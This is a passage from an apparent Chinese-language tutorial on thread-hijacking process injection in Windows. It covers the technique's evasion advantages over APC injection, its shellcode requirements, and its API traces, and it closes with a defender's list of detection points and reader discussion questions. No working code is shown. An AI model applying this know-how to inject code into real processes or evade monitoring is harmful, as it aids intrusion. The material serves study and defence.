- 避免触发线程创建事件
- ETW 检测器无法检测
执行时机可控
- 立即执行,不依赖 Alertable 状态
- 成功率远高于 APC 注入
比 APC 注入更可靠
- 强制劫持,不等待线程行为
- 适用于所有类型的进程
局限
需要正确的 Shellcode
- 必须保存/恢复寄存器
- 必须跳回原始 RIP
- 如果 Shellcode 有 bug → 线程崩溃 → 进程崩溃
暂停线程的风险
- 如果劫持了持有锁的线程 → 可能死锁
- 如果暂停了关键线程 → 目标进程可能卡顿
更容易被检测
SuspendThread调用可被监控SetThreadContext修改上下文可被审计- 可执行内存页(
PAGE_EXECUTE_READ)更可疑
仍有跨进程操作痕迹
- 仍然需要
OpenProcess(高权限访问) - 仍然需要
VirtualAllocEx和WriteProcessMemory - 仍然需要
VirtualProtectEx(修改内存属性)
- 仍然需要
防御者的视角
虽然线程劫持绕过了线程创建检测,但并非无迹可寻。
可能的检测点:
监控
SuspendThread调用- 通过 ETW 或 API Hook 监控
- 检测跨进程的线程暂停行为
监控
SetThreadContext调用- 检测 RIP 寄存器被修改
- 特别是修改为动态分配的内存地址
检测内存属性变更
- 监控
VirtualProtectEx调用 - 检测从
PAGE_READWRITE改为PAGE_EXECUTE_READ
- 监控
扫描可疑可执行内存
- 定期扫描进程内存
- 识别
MEM_PRIVATE+PAGE_EXECUTE_*的区域 - 与模块列表比对,找出无归属的代码
行为关联分析
- 关联”进程访问 + 内存分配 + 内存写入 + 属性修改 + 线程暂停 + 上下文修改”
- 构建完整的攻击链时间线
互动时间
💬 评论区讨论:
- 你认为 Shellcode 中还有哪些寄存器需要保存/恢复?为什么 RAX 和 RCX 是必须的?
- 如果劫持了主线程会发生什么?有什么风险?
- 线程劫持 vs APC 注入,你会选择哪个?为什么?
